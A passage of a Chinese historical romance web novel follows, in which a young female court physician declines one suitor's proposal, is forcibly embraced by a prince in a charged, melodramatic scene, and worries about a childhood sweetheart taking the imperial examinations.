卓三爷的脸上有着浓郁的疲倦,眼下乌青,闻听此言,目光微微闪躲,拢在袖子里的手攥了攥,温和道:“你要的田产,我分给你便是,只是咱们何至于到和离这个地步?你不为自己不为我,好歹也为小恬想一想。” 楼姝音:“你娘亲又不喜欢孙女,小恬没那么重要,我带回去和我爹娘一起养,反倒过得更轻松。”她笑了笑,“实话告诉你,我伤了身子,经后不宜有孕,且生孩子太遭罪,我断不可能再生了。你痛痛快快和离,只有好处没坏处。” 卓三爷摇了摇头,喃喃道:“不行,我不能让小恬没有父亲。” “没事,将来她长大了若执意要父亲,我再给她找一个。” “……” “那我先走了,五日后再叙。” “音娘,我,我……”他眼前发黑,伸出的手很想抓住什么。小厮忙上前搀扶他。 “快回去吧。”楼姝音柔声相劝,真心诚意的,“莲荷已经有了七个月身孕,她长得有福气,身子骨壮,你马上又可以当爹了。女人生育多艰难,对她好些,莫叫她落下余病。” 卓三爷踉踉跄跄追下台阶,凝望着她的背影,终究是未能抓到她。 此生姻缘已尽。 …… 楼姝音迈着小碎步,走到程芙跟前莞尔一笑,拉着手离开了此间。 两人来到了一处小轩,轩内香几、长条桌、月牙桌、琴桌俱全,几上的花瓶插着鲜艳欲滴的花枝。 月牙桌的鎏金小熏炉燃着四时香,味道悠长,好似把光阴都变慢了,有种一缕香烟缭绕,万般尘埃等闲的禅意。 程芙很是喜欢,想着将来自己有钱了,也要买个带花园的宅子,品茗焚香。 楼姝音拍拍手,一名眉目清丽的乐工带着自己的婢女走进来,给坐上的两位奶奶问安。 “这是乐坊司十分有名气的上官丽娘,弹得一手好琴。”她欣然介绍给程芙,“我提前了十日才约上,咱们也学男人风雅风雅。” 贵族女子自然不能出入秦楼楚馆,想听听小曲只能把梨园班子或者名娘子约到家中,那价格定然不菲。 程芙能感受到楼姝音的诚挚,这就是个喜欢你就要与你分享许多好东西的简单姑娘。 “阿音有心了,回去我定给你调配一份独门绝活桃花玉女粉。” “果真,我要两份。”楼姝音摸着大不如从前细嫩的肌肤。 “好,两份,用完了再给你调。” 楼姝音捧着脸抿笑。 上官丽娘的琴音悠然飘来,桃花坞春光正好。 仆婢服侍二人净手,摆碟布箸,不一会儿就布置满满一桌点心果脯。 楼姝音捏了块糕点,咬一大口,嗯,香。 程芙也咬了一口离得最近的八珍糕,香软弹牙,甜而不腻,做得比福仙楼的更好吃。 “阿芙,你亡夫生前待你好不好?” 程芙呆了一下,旋即反应过来,整暇回:“还行。”两个字的回答未免冷淡扫兴,遂又补了句,“其实没怎么相处过,新婚半年他就走了。” 才相处半年,又不是青梅竹马,那确实谈不上多深的感情,除非二人一见钟情,情浓不已。楼姝音点点头,“这样也好,感情不浓不淡时分离,总好过痛彻心扉。” 程芙笑了笑,浅浅“嗯”一声。 “可有想过再醮?” “暂时不急,随缘吧。” “也是,有缘再好不过,无缘我们也能过好自己的小日子!”楼姝音端量程芙的小脸,怅然道,“我若有你这般美貌,也不至于遇人不淑了。” 女人总是误以为被爱的程度取决于美貌。 “有时长得美也不见得是什么好事。”程芙自嘲一笑,“你可能不信,其实我没遇到过真正的好男人。” 徐峻茂挺好的,但她没说,因为楼姝音会追问他是谁。 楼姝音难以置信瞪大眼,“怎可能!” “馋我美色的很多,不过没人想娶我,至少一开始都是抱着玩弄的心态。” “是不是嫌弃你嫁过人?”楼姝音眨了眨眼,“在外人眼里,我生过孩子,身子也脏了。” “那是别人的看法,我就从不觉得自己脏。不勤换衣不爱沐浴的人才脏,眠花宿柳、左拥右抱的轻浮浪荡子才脏。” 程芙觉得自己香香的,特别干净。 “说得好,咱俩干净着呢!”楼姝音用力点头,“以后你就是我的闺中密友,谁要是为难你,我便教训他们!” 她阿爹是正二品工部尚书,去年已入阁。 程芙用公筷为她布了一道金丝奶酥,笑道:“打打杀杀劳心劳神,我们要很好地活着,让自己开心,便胜过世间千万魑魅魍魉。” 虽然在时人眼中她们已是妇人,可也才十几岁,都有着孩子心性。她们在桃花坞玩了一整日。 日西时分,楼姝音才依依不舍与程芙作别,看着她登上骡车。 回家的路上,经过西门桥市,程芙下车买了一袋姨母爱吃的廖记包子,见小桃和进宝眼巴巴盯着街角的糖葫芦,不由在心里笑,递给他们一把铜钱,“买去吧。” 一个十五一个十三,都还是半大孩子,突然有赏早在心里高兴得直蹦,一齐谢程芙,而后进宝捧着铜钱,一蹦一跳买糖葫芦去。 “阿芙。” 一道熟悉的声音。 程芙循着声音望去,道:“凌大人。” “好巧,我正好有件事与你说。” 随着脚步不断移近,凌云的身形渐渐笼罩了她,她仰起脸看他,“大人要与我说何事?” 凌云:“我把付大娘接过来养老。她年纪大,行程不宜太赶,下个月应该就能进京。” 果真? 程芙的嘴角弯出了一个愉悦的弧度,小脸仿佛发着光,“您真是个慷慨的人,知恩图报。” 付大娘有恩于他,他便给孤苦无依的付大娘诸多照顾,如今直接接回家养老,属实算是一件大功德了。 凌云:“你们也算老相识,将来坐在一起说说话,她也不至于太孤苦。” 他根本不在乎别人孤不孤苦,他只是在布置狩猎的陷阱。 程芙见他眉眼一派和善,眸光如水,倒也不是很吓人,便笑道:“我会多陪陪她的,我姨母一定也很喜欢她,不叫她孤苦。”—— 作者有话说:有没有人收藏一下我的《被登基的前任报复了》呀[让我康康]《 》 70-80 第71章 结交了投契的闺蜜, 仕途也顺遂,最害怕的毅王还主动与阿芙断了,柳余琴对如今的好日子挑不出半点毛病。 临睡前她和阿芙商量, “如今咱俩也攒了一些家业, 留一少部分应急, 日常生活靠你的俸禄还有咱俩接的私活足够支应, 剩下的可以买两间铺面。” 得让钱生钱。 程芙做事向来谨慎,甚少冲动, 道:“这个要靠一些机缘。咱们想买也得有人肯卖才行,好铺面基本都当祖产供着, 即便出售, 不等卖家吆喝就被牙行的先推给熟客。” 真正的好东西哪个不攥在有门路的人手里? 姨甥俩根基浅,拥有这栋宅子已算了不得的好运气,一时都不敢冒进。 “也是。”柳余琴叹口气, “但愿安国公府的管事下个月能给我好消息。” 程芙抖了抖被子,钻到姨母的床上,把自己裹成茧,嘟囔道:“船到桥头直然直,先睡了,明儿还要上衙。” 天不亮就得起身,很是辛苦。 柳余琴便熄了灯, 也睡下。 初七天不亮, 程芙的骡车已经出了胡同,直奔春华街的皇城,不是她殷勤,实在是没招了,京师品秩比她高的官员多如牛毛, 举凡道路一拥堵,她就得像个孙子似的左让右让。 上回进宝周转不及时便被一名五品官儿的马夫指着鼻子大声呵斥,言罢还对躲在车里的程芙放言:“若非念在是个女流之辈的份上,大人今天定去御史台告你一状,真是没规矩,不通礼仪。” 进宝一个劲赔笑致歉,那位大人的马夫才趾高气昂驶离。 经此一事,程芙开始提前半炷香上衙,错开车辆高峰,适才发现了不少同类——跟她差不多品秩的小可怜。原来小虾米们都是这样生存的,提前动身,回避各位上官。 到了城门口,程芙轻提衣摆下了骡车,宝石绿的丝绸官服,光泽如洗,窈窕女官肌肤冷白如凝脂,眉目如画,乌云发髻挽得一丝不苟,戴一顶乌纱帽,翅状的展角又短又圆,十分鲜活可人。 她一出现,守门的监门校尉就变得直挺挺,脸红脖子粗。 程芙早已习惯旁人或惊艳或好奇或羞涩的目光,只要不是过于无礼的,其实也还能接受。 只是太医署的几位年轻医员颇让她心烦,又碍于同僚脸面不好言辞过激,因此一迈进门槛她就把脸往下拉,再模仿自己见过的最冷的脸摆出冰冷的表情,如此确实劝退了脸皮薄的,只有那脸皮厚的仍是锲而不舍。 “程吏目,堂食的早膳最是难吃,我给你稍了麻记的芝麻酥饼,信我的,京城一绝。” 程芙脚步不停,一径地摆手:“多谢,我习惯在家用早食,请不要再破费。” “可是真的很好吃,拿回去做零嘴吧。” 那人十分有韧劲。 程芙在这种吵闹中逐渐发现了男人的一个共通性,他们一旦喜欢某个姑娘家,就会想法子给她好吃的,这种行为放眼天上飞的地下走的,所有雄性都差不多,也不能说这份喜欢不好吧,只也说不上多深刻,就如你看上了一朵花,日夜呵护,浇水晒太阳,只为它为你绽放,然后折下它,仔细欣赏嗅闻。 总之,挺没意思的,且她也不是很馋。 就算馋也不是谁给东西都吃的。 一只大手伸过来,替她解了围。大手的主人夺过芝麻酥饼,“还热乎,她不吃我吃。” 送饼的小医员傻了,“……” “还不快滚!”荀叙眉峰一凛,“你们口齿科的人一天天是真的闲,每日从斜对角跑过来纠缠程吏目,精力既如此充沛,那就从明儿起,都去生药馆多做两个时辰的工。” 小医员呆愣恐惧的神情霎时就扭曲成了苦瓜,鞠着躬致歉,一溜烟儿不见了人影。 程芙欠了欠身,“还好你替我解了围。” 虽多日不见,依旧温婉有礼,还带着些许热络。荀叙看着她,说:“你这般年纪难免有此困扰,他们尚未婚配,又不会克制追香逐靓的天性,这不是你的错。” 程芙点了点头,“我不会往心里去,我每天都很忙,有自己的事情做。” 忙起来的她渐渐把前尘往事抛下。 荀叙:“你不问问这段时间我去做什么吗?” 程芙愣了下,遂笑道:“你忙什么了?” “我去相亲。见了三位姑娘。”荀叙认真道,“毕竟我也老大不小,爹娘为了我的婚事急出好些白发,因为别人跟我一般年纪都有三个孩子了。” 程芙没吃过猪肉倒也见过一些猪跑,以荀叙所处的圈子,二十一岁早该娶妻生子,妻妾加起来生三个孩子十分正常。 二十岁往上还没成家的实属罕见,都有这样那样的问题,但荀叙没有,他出生显赫,父母双全,家庭和睦,人生最得意,更没有什么隐疾,却连门亲事都未定,委实不应该。 “你性格这么好,出身也好,定会有一门大好姻缘,我先提前恭喜你一声。”程芙真心为他高兴。 荀叙:“嗯,她们都与我门当户对,对我也很满意,长得高挑丰腴,婀娜多姿。我相看的全是怀国公吴家三房的姑娘。” 感觉满世界都是吴家的姑娘,程芙从未见过她们,想来应是京师数一数二的优秀门户。但大清早的跟男子讨论这个话题怪怪的,她只好自己想办法脱身,“哈,是呀,我等你好消息,那个……时候不早,我……” “我没同意。” “……?” “我不喜欢她们,连去相看的路上都觉得苦闷。” “……” “所以我问母亲能不能自己选。” “……呃,你跟我说这么详细会不会有点唐突?” “母亲说可以,不管几品官家的女孩子,只要家世清白,人品端方,相貌尚佳,我喜欢谁都可以。我家不需要我来支应门庭,只要我不是败家子二老已经非常开心。” “你娘真好。”程芙惊讶不已,不敢想荀叙在家里得有多娇惯,连婚姻大事都可以做主。 荀叙:“我继续问母亲,那如果这些条件都满足,但对方嫁过人行不行?” “……?”这要能同意就见鬼了,程芙揪心道,“我怀疑你在作死……” 荀叙摸了摸后脑勺道:“被你说中了,问完这句话母亲便将我一顿好打,父亲下衙归来也打了我一顿。他们两个人打我。” 程芙:“……” “你别笑哈,放在以前我也打自己。”荀叙说,“当人沉迷一件事就对其他方面很难投入,所以我才没空跟女孩子相处,我怕她们分走我钻研医道的时间,但我是正常的男子,肯定非常喜欢女孩子的哈,且喜欢冰清玉洁的丰腴大美人。” 程芙有点紧张,唯恐他再说些关于“自-渎”的话题。 “换做从前,我肯定不考虑嫁过人的。可后来我发现一个人是否冰清玉洁不在于身体而在于品行。只看身体是否冰洁实在肤浅。” 程芙抄着手,左右环顾。 “所以你想不想跟我好?”荀叙语不惊人死不休。 “你,你,你没事吧?” “我的意思是跟我成亲。反正你和毅王在皂河县已经断掉,不如考虑我。哦,我可以给你许多,衣食富足,带你到处玩,共同钻研医道,而且我性格好,肯定不会欺负你。我也没有通房,妾室的话你不喜欢我绝对不纳,我对女-色并不十分贪图。” “你疯了,还想被你爹娘双打?” “打一阵子定会成全我的。等他们见到你本人,你这么招人疼又懂事,说不定比我还喜欢你。” 程芙汗流浃背,虚弱道:“你莫要吓唬我了,咱俩不至于成亲,万没到这般地步……” 荀叙逼近了她一步,目不转睛凝视她双眼,问:“你仔细看看我,真的接受不了与我一起生活吗?” 程芙脸都白了,僵硬地摇了摇头。 荀叙:“……” 程芙垂下眼帘,目光移向斜下方,支支吾吾道:“我知道你条件好,既站在这里对我讲出来将来对我定然不会太差,但我也有自己的想法,而且我并不是招人疼懂事的人,我表现的懂事是因为如果不懂事的话会被教训,这就是小人物的必备技能,而不是我想。” 她说着慢慢抬起眼,一眨不眨,四目相对,“我不懂事,我非常任性,也不想再过迎合别人的日子,你并不了解我。” 荀叙的神情一霎波动,乌黑的瞳仁微微晃。 今日所言看似冲动,却是积攒了十几个日夜才鼓足的勇气,觉得自己可以负责她今后的人生才敢做出的承诺。 他不是范吏目以为的那种人,哄她身子不想负责。 他很想负责,可是哄不到她的感情。 程芙动也不敢动,用力攥着自己的手。 荀叙默然凝视她良久,身形才有了动静,往后倒退数步,踅身大步离开了这条花木初初绽开嫩芽的曲径。 程芙当即如受惊的小兔子,撒腿就跑。 一名仆役躲在花丛背阴处听了半晌,也悄然溜走。 当天下午,程芙就被上官叫去廨所询问:“你可是谈御医手下的程吏目?” 程芙躬身道:“回大人,正是卑职。” “看你卷宗,你对小方脉也极有心得?” 问话的是一名小方脉的女御医,姓沈。 程芙遂据实相告:“卑职只有纸上谈兵的经验,仅能应付小儿常见病症,其余的说不准。” 沈御医推案起身,却道:“足够了。今日随我出去一趟,为郡主请脉。” 程芙为难道:“可是卑职……” “我自会遣人与谈御医说明情况。”沈御医略作解释,“我身边的吏目正在休病假。” 所以临时抓了她这个半吊子? 程芙疑窦丛生,奈何形势比人强,只得整理衣冠,背起药箱,服侍沈御医登车,前往两三里外的锦山。 出了内城,只见一派春日清丽,桃红柳绿,而锦山,据闻曾是长公主最喜爱的风水宝地,现今被京师的权贵瓜分,成为避暑或清修圣地。 景色之美,实乃程芙平生所见头一份。 所谓锦山,更像是一片湖光山色围绕的世外桃源。 她和沈御医下了马车,就见一片镜面般的湖泊,小舟行来,艄公问:“可是太医署的大人?” 沈御医上前出示令牌和敕牒,艄公点点头,躬身请两位女官上船。 初春的湖泊,岸边桃花三两株,像粉色的云,金色的夕阳洒在水面上,仿佛细碎的轻柔的金箔在荡漾。 程芙的眼睛睁得大大的,且环顾且惊叹。 而后灰心地想:我便是再努力十辈子也拥有不了这样的宅院。 甫一下船,立即有仆妇接引。引至一处粉墙黛瓦的苏式宅院前,穿过亭台楼阁,曲廊幽径,最后停在一处名为漪碧园的月洞门前。 程芙一路轻飘飘,只当梦游仙境。 又羡又妒又灰心。 人比人,气死人的。 不过一想到是郡主所居之地,立时不服也得服气,人家祖上基业大,比不过。 仆婢邀请二位女医在花厅用茶稍稍等待,片刻之后,沈御医就被请去为郡主问平安脉,而程芙则被留下。 她略有些尴尬,看向旁边的婢女问:“郡主一次只见一个太医署的人?” “因为王爷说您人品很一般,不放心把郡主交给您。”婢女说完,忙加上一句,“这是王爷说的,奴婢只是奉命复述原话,请太医恕罪。” “……?” 这样好的一块风水宝地,竟是那个截至目前与她断了四十五日的崔令瞻的。 程芙下意识扣紧自己的小医箱,张了张嘴,又默默闭上。 话又不是婢女所言,她在这里和婢女分辨什么?一则人家不一定有兴趣了解;二则了解了又能怎样? 还能替她骂崔令瞻不成? 人家的正经主子是毅王,不反过来骂她都算好的。 唯有自认晦气。 可是沈御医还未归来,如若她提前离开定要被责罚的吧? 程芙坐立难安。 果然不出她所料,半盏茶都不到,别鹤便出现在门口,笑眯眯告诉她:“王爷要见您。” 程芙理解的断掉便是老死不相往来,若是无意中偶遇倒也罢,哪有刻意再相见的道理。 磨蹭好一会,她的心七上八下,穿过两道曲廊,清芬七里的异香越来越鲜明。 香气源自一株高大的树木,香雾秾花如雪,开满枝头。 树下的人一剪侧影如松,听见脚步声,他在夕阳余晖的万丈霞光中,在她尚不知叫做山矾(七里香)的花树下,缓缓转过身,蹙眉凝看她。 光线在他白皙深邃的脸上镀了一层淡淡的金色虚影,如梦似幻。 “我又怎么招你了?”程芙鼻腔一酸,声音微微抖,尽量平静地问,“我又哪里惹到你?” 崔令瞻:“你好凶。” 晚风微凉,男人温热干燥的手掌抚上她脆弱的脸颊,冷热交替,她的肌肤起了一层细小的粟米,麻-酥酥的。 程芙推开他的手,“你又发什么疯?” “胡说,我哪有发疯……” “凭何你想怎样我就得怎样?” “你要我清白之身,我给了,可你呢,一再欺骗我,玩弄我!我好不容易等你说断掉,凭什么你一句话又把我骗过来!” 她有很多很多的冤屈,褪去血色的樱唇轻颤。 像一头发怒的小狮子。 崔令瞻怔了怔,垂眸仔细凝看着她,柔声道:“你忘了我的判词是卑鄙无耻。你把卑鄙小人的话当真,你是不是傻?” “你,你竟不以为耻?” “耻啊,我很生气,可是我生气说的话你都会当真,我也没办法。” “……”她反应过来,用力推开他胸膛,“松开我,你混蛋……” 风乍起,花瓣随风落下,地上是男人和女人纠缠不清的影子。 她的身子很柔软纤细,被他完全拢在怀中。 崔令瞻渊海般深邃的眼瞳宛如两簇火焰,低下脸,吻她额角被怒气冲出的蓝青色脉络,轻轻咬一口她气鼓鼓的粉腮,咕哝道:“你说的都对,可我想你。” 他又欺负她。 两手捧着她的小脸,要她看着自己。 她呼吸急促,气得说不上话,睁大眼睛瞪着他,牙关咬得紧紧的,泪珠儿沾了他虎口,岩浆似的灼人。 “气性真大。”崔令瞻吻她湿润的睫毛,“好了,不生气行不行?你打我吧,反正又不是没打过。” 可是无论她怎么捶打他,他也不松手,等她打累了,骂累了,崔令瞻才温存地捏起她下颌,在她有气无力的呜咽声中,堵住了她的唇,轻柔吮着,舌尖描摹着,研磨着,虎口微微用力就捏开了她的牙关。 炽热的蛮不讲理的舌探进,胡作非为。 铺天盖地的男性气息填-满了她的口鼻。 程芙尚没反应过来又被他伸进了舌,又羞又怒,七窍生烟,她再一次生出了杀心,她要杀了他。 崔令瞻眉心微蹙,单手钳住了阿芙伸过来的两只手,笑道:“这么急,想我疼你吗?” 疼什么?程芙哭着骂道:“我想你死啊,我要把它抓碎……” “说话真难听,当罚。” 他嘬了嘬她柔嫩的小嘴巴,一手扣住她后脑勺,一手钳住她两只手,防止它们真的没轻没重抓坏了小崔令瞻。 程芙再也使不出一丝劲,耳畔只剩下男子粗重的呼吸,下颌酸软,连咬他的力气都没了。 第72章 身高的差距使得站立的程芙承受不住太久的深吻, 脖颈好酸,可怜的腰肢向后折。 崔令瞻放过了她又红又肿的檀口,真的很甜很香, 还会发出娇娇气气的曼妙之音, 勾人春兴, 引人动火。 他拿下巴蹭蹭她脸颊, 佯作嗔责道:“真不害臊,哪有姑娘家上来就抓那处的?” “崔令瞻, 你还要不要脸?”她的眼睫湿漉漉的。 “叫阿诺哥哥。” “……”程芙从未见过如此无耻之人,咒骂讨伐伤不了他半分筋骨。 “它那么疼你, 以后再生气也不可以伤害它。”崔令瞻舒展手臂将她锁入臂弯, 微微俯身横抱起她。 “你,你做什么?”程芙仰脸逆着光瞪他,有着不容错识的慌乱, 身子也开始乱扭,想脱离他的掌控,“放我下来!我不要我不要!” “你不要什么呀?”他明知故问。 谁知她扭得更厉害,似一条甩上岸的活鱼,挣得半边身子险些翻出,又被他捞回用力固定。 “就这么害怕?”崔令瞻哑然失笑,目光如水般凝着她, 柔声道, “还哭了,你这个傻瓜。我哪有那么急-色?抱你过去坐一会,消消气。” 程芙用袖子抹眼泪。 而他倚榻,确实抱着她柔声哄了一会,无非是花言巧语, 死不认账,待好话把她的气色哄得恢复了正常,他忙堵了她的嘴,压下去,继续不要脸地施为。 窗子外不时传出女孩子压抑的声音,似泣非泣,片刻之后,也不知他对程芙做了什么,她倒吸一口凉气,呜呜咽咽,嘤嘤哼哼。 紧接着响起了清脆的巴掌声。 屋子里,暖榻上,崔令瞻捂着脸震惊地从阿芙心口抬起头,又打人? 才吃了一口而已,又不是没吃过! “你明明也喜欢的,你喜欢我这样疼你……”崔令瞻白皙的脸涨得通红,温柔的眼睛烧着了,“阿芙,你不诚实。” 程芙一脚蹬开他,边扣着自己的纽襻边趿上鞋子,迅速离开了此间,没回头。 这次,他没敢不依不饶追过去。 …… 锦山发生的事,程芙没敢告诉姨母,也清楚瞒不了多久,她想,那就等崔令瞻打上门再说吧。 可她到底还是怕的,怕他以权压人,更怕他去太医署兴风作浪,当着所有同僚的面将她擒拿,拎起来,或者借故差遣她,愚弄她,叫她颜面尽失。 然后所有人都将洞悉她和当朝毅王的首尾。 所有人都在背后窃窃私语:终日不把追求者放在眼里的程吏目假清高,原来早有大靠山大金主呢。假装什么小寡妇啊,明明就是未婚先与人苟且。 程芙把丝被蒙住脑袋,揩一揩泪花,心道:我才不怕,我一点也不在乎,他要是让我难做人,我就告御状,告他强抢民女。 好歹她也有个官身,哪怕以卵击石也要跟他斗一斗。 她做了一晚噩梦,梦中与崔令瞻大战三百回合,无论她如何跳脚,如何捶打他,他始终含笑凝望着她,在她脸颊亲了一口…… 次日程芙蔫头耷脑上衙,视死如归。 未料校勘了半日医案也不见有人过来寻她麻烦,更没有人打着毅王的旗号请她去某处叙话。 崔令瞻并没有打扰她。 他似乎也没有想象中的卑鄙,虽然他确实卑鄙。 心神不宁的程芙缓缓放松了肩膀。 谈御医抬眼瞥了瞥程芙,时下屋子里只有二人,她突然问:“荀御医是不是很热情?” 程芙一怔,不明就里,斟酌着回道:“荀御医十分开朗亲切。” 这姑娘并不是木头,反倒很敏感,敏感地从一句没头没尾也与公务无关的话里嗅到异样的气息。所以她特意补上了一句,“我们去皂河县办差时,所有人都是这样夸他的,他不仅对同僚友善,对下人也很有同理心。” 并不是只对她热情,事实也是如此。 谈御医意味深长笑了笑,收回打量她的目光,“你说的不错,这孩子从小就这样,所以女孩们都爱跟他玩。长大后有自己的事情做,他便很少接触青梅,不过在女孩面前,那张嘴功力不减,仍旧讨人欢心。” 如果他讨程芙欢心,并非特殊相待,而是他对女儿家都这样。 “他若在你面前说不着调的话,不必当真。”谈御医说,“除了医道,他对很多的人和事都是一时新鲜。” 程芙垂眸点一点头,心里不太舒服,因为谈御医特意向她强调了这一点,语气含着若有若无的警告,仿佛她和荀叙私下有什么不光彩的勾当。 谈御医蘸了蘸墨汁,不再说话。 其实类似的话昨日已经有人警告过她。 ——他们都不够好。荀叙天生好奇心重,爱冒险,等过了新鲜劲,定然不会热情如故,哪天遇到了比你更有趣的姑娘,我不信他不转移。凌云更是可恶,他只是撩拨你,哪有半分娶你的意思,你不会真以为他有多喜欢你吧? 崔令瞻说完这段话,寡廉鲜耻一笑。 程芙倒也不是很想清楚男人们的真实目的,因为她又不在乎,也从未期待过什么。 可是大家总是充满了防备心,觉得她定有企图,居心叵测。 她无奈一笑,把注意力重新放在校勘上。 下衙时分故意迟了半炷香,等同僚走个七七八八才起身走人,拐进一条偏僻小径,这条路通常只有托运泔水桶和恭桶的驴车才会经过。 三两个太医署的女役也从这里走。 她们发现程芙,忙揖礼,程芙点点头,在她们不解的目光下昂首挺胸大步朝前走。 离开春华门,一路向南,数个礼部的小官吏提着衣摆匆匆横穿她的骡车前,口里嘟囔:“今年的考生可真多,居然把咱们也调过去监门。” 程芙猛然想起每年二月初九是会试的第一天,明日徐峻茂就要开始考试,想必今日已经抵达贡院。 大昭的科考制度与前朝差别不大,三场会试,三日一场,第一场在初九日,第二场在十二日,第三场在十五日,关系着无数男儿一生的功名荣辱。 景暄三十四年二月初九,会试开考。 景暄帝年轻时虽以武治著称,却钟情文翰且有一定造诣,凡点一甲进士必定要在书法上有所成就,有的专攻篆书,有的工于篆籀,当今的翰林院之首方柄直便是以锋利遒劲的书法出名。 身为上位者如此看重文人翰墨,倒也并非单纯游戏三昧,更多出于政治考量,网罗菁英儒士,推行儒家教化。 一甲进士身为天子顾问,肩负考议制度、祥正文书的重任,而翰林学士更是掌制诰、史册、选拔人才,方方面面均关系到国策国运。 基于此,景暄帝对门生的要求向来苛刻。 初九,庄严的贡院门口,所有通过搜身的考生领着木牌各自寻到自己所在的号,铺行囊入住。 所谓号就是一间低矮狭窄的开放式小屋子,矮瘦的人坐进去倒还好,对徐峻茂来说就有些痛苦了。 这两年,他的个头窜得飞快,进号时得稍稍弯身,即便清瘦也很是拘束,如果站直发髻便杵到屋顶,好在大部分时间他都是坐着的。 当然难受的不止他,北方人身形多魁梧,也有几个高壮学子不得不把自己缩成鹌鹑挤进号中。 号房之小,有违人道,但凡体型正常的都难以平躺,须把身子弓起就寝,更恐怖的是考试期间的如厕和用饭都得在此间进行,前者用一只盛放沙土的木盆,后者则是巴掌大的小泥炉。 无异于蹲在旱厕进食…… 生生要了一部分出身显贵的学子半条命。这些个人从小到大哪个用的不是刷洗得喷香的檀木恭桶,桶里铺着带有香味的木屑和草木灰,净房燃着熏香,还有散发着胰皂清香的湿棉帕,哪里经受过如此臭气熏天的环境。 有那娇生惯养的富家子弟如厕完后当场呕吐不止,哪里还吃得下饭,但是吐也只能吐在自己的号,平白多了一份污秽,弄得脏臭不堪,生不如死。 徐峻茂在隔壁此起彼伏的呕吐声中一笔一划书写第一场的答卷。 少年剑眉星目,却生了两片弧度温柔的唇,花瓣一般,眸光专注地追逐笔尖,一行一行书写他未来的人生。 阴郁的天空闪了闪,春雷轰隆,豆大的雨点子稀里哗啦,砸着雨棚、檐角,砸着学子炽热的心脏。 是疾雨也是吉雨。 春闱下雨有鲤鱼跳龙门的寓意,只不知今年的那条锦鲤落于谁家。 反正吉雨落下,大家都沾了祥瑞,都对自己的未来有了憧憬。 第一场的第三天,就有一名京师四品官家的公子晕倒,礼部下的衙役将其抬出,重新锁上贡院大门。 晕倒的公子如若还想参加会试,只能再等三年。 很难想象大昭的菁英竟都是在吃不饱睡不好,又冷又臭的环境里书写一份份婉丽豪壮的答卷。 徐峻茂时而蹙眉时而展颜时而沉思,嗯,他想到了什么,他要放弃先前保守的不出错的想法,等到第三场,他必须得写点真正利国利民的东西。 三场考试共九天,但不是一共要在号房蹲九天,每场结束可出来缓口气,沐浴更衣打包干粮重新进去。 下过雨天儿凉,徐氏和婢女专门为徐峻茂缝了特殊尺寸的厚被子,又短又宽,勉强给他裹住,抵御夜间春寒。 他明明最怕吃苦,也不知从何时起,突然就长大了坚硬了,受这么大罪出来一声不吭,连抱怨也没有。 他想以一个伟岸的男子汉形象再次出现在芙妹妹面前,有宽阔结实的肩膀给她依靠,与她手拉手,一齐下河摸鱼,上树摘果子。 想念她。 想念每一次牵手,每一句誓言。 他多想再抱抱她,诉说分别的两年他有多难熬。 他想和她生一些小阿芙和小阿茂。 污浊的空气,污浊的房间,唯独少年人仿佛一尘不染,端坐挥洒笔墨。 又白又薄的肌肤剔透如玉。 入夜,又来了一场春雨。 一名五品官家的公子因为窜稀也晕倒了。 二月十二休沐,程芙买了一些贡品去福隆寺进香求平安福。 今年春闱雨水连绵,即便是吉雨也太多了些。 上衙期间她从包吏目口中得知今年科考比往年都湿冷,隔三差五就有考生被抬出。 包吏目绰号包打听,总能在第一时间获得满京城新闻,可能与她有位御史的亲爹有关。 程芙心惊肉跳听了三日,逐渐忐忑不宁,如此才有了去佛祖跟前进香求平安一说。 只待休沐日,天不亮便启程。 福隆寺香火鼎盛,灵验非常,赶早去的程芙依然排了长长的队伍,期间帷帽险些被人挤掉。 一直熬到了辰正,她才向佛祖献上诚心,又去功德箱中投了五钱银子,得到了主持开了光的平安福袋。 福袋自是不能送给徐峻茂的,一则贡院守卫森严,苍蝇都飞不进去;二则外人肯定无法理解她送男子福袋的行为,说不定还要曲解成私相授受。 但她求的时候满心里念的都是徐峻茂,把心意都告诉了佛祖,相信没有福袋佛祖也会保佑他。 小桃和进宝随同程芙离开福隆寺,饿的前胸贴后背。 不止他们饿,程芙也饿,为表诚心,今早都空着肚子前来的。 好在香火旺盛的大寺庙附近商铺林立,小吃摊贩目不暇接,遂决定找一家填饱肚子。 “阿芙!” 一个高大灵巧的身影蹦过来,淡淡的柑类清香,是荀叙俊俏的笑脸。 他是一点表白被拒的羞涩尴尬都没有,反倒弄得程芙有点儿局促,脸颊微微热。 当别人不尴尬,尴尬的就是她了。 “荀大哥。”她福了一礼。 “戴帷帽我都能认出你,你走路发力的方式跟普通姑娘不太一样。” 所以她的双腿肌肉应是十分匀称修长,非常漂亮。荀叙赶忙打住,驱走乱七八糟的污秽画面,笑道:“排队那会儿我就发现你,可是人群拥挤,你肯定不想跟我走太近,所以我等你出来再打招呼。” 原来如此。他可真是个温暖的人。程芙并不讨厌他,既然人家待她如常,她也不应小家子气扭扭捏捏的,遂仰脸弯唇一笑道:“你饿不饿?我很饿,如不嫌弃,我想请你吃饭。” “好啊。”荀叙眼角微扬,神采奕奕,“你不说我还想请你吃呢。” “那怎么行,合该我请你,在皂河我可是吃了你许多零嘴。” 荀叙眯眸一笑,轻轻撩起她帷帽遮挡的纱帘,露出了那张最近总是出现在他春色的梦境的小脸,“我在你身边,不用怕。” 荀叙身手好,又高高大大的,有他在便没有轻浮浪荡子敢近程芙身,省去了诸多麻烦。 程芙:“嗯。” “跟我来。” “去哪儿?” “我知道一家鱼饭馆,他家的鱼面和鱼饺,保管吃过一次你再也忘不掉。” “鱼饺?”一说好吃的,她脸庞都发光,“是鱼肉馅的饺子吗?” “当然不是。是和鱼面一样让你看不见鱼的饺子,每日限量供应,主要做提前预定的高门大户生意,咱俩快些,晚一步可就没了。” 他长手一伸,攥着她腕子小跑。 程芙忙飞快拨动双脚,气喘吁吁跟上,小桃和进宝两眼放光。 不用隔着一层纱感受世界,感觉呼吸和视野都轻盈了不少,程芙干脆摘下帷帽,荀叙回头看她,主动帮她拿。 饶是如此努力,赶到时,店家依然遗憾地宣布今日份额售卖完毕。 程芙:“既如此,便随意给我们上些好吃的吧。” “有有有,我这里还有份额,把帐记在荀阁老府。”荀叙道。 店家怔了下,忙赔笑道:“敢问公子是……?” “荀府行三。”荀叙给他看了家族的小印章,店家立即揖礼请手,邀贵客去雅间。 程芙张了张小嘴。 荀叙:“我看二楼靠窗的位置就不错,无需雅间。” 店家是老江湖,如此情境焉能看不破,笑意堆满道:“公子好眼光,一眼就发现了本店最受欢迎的位置,坐在这里远眺福隆寺,美景尽收眼底,还真不输雅间。” 既然不是小夫妻,自没有独处一室的道理。 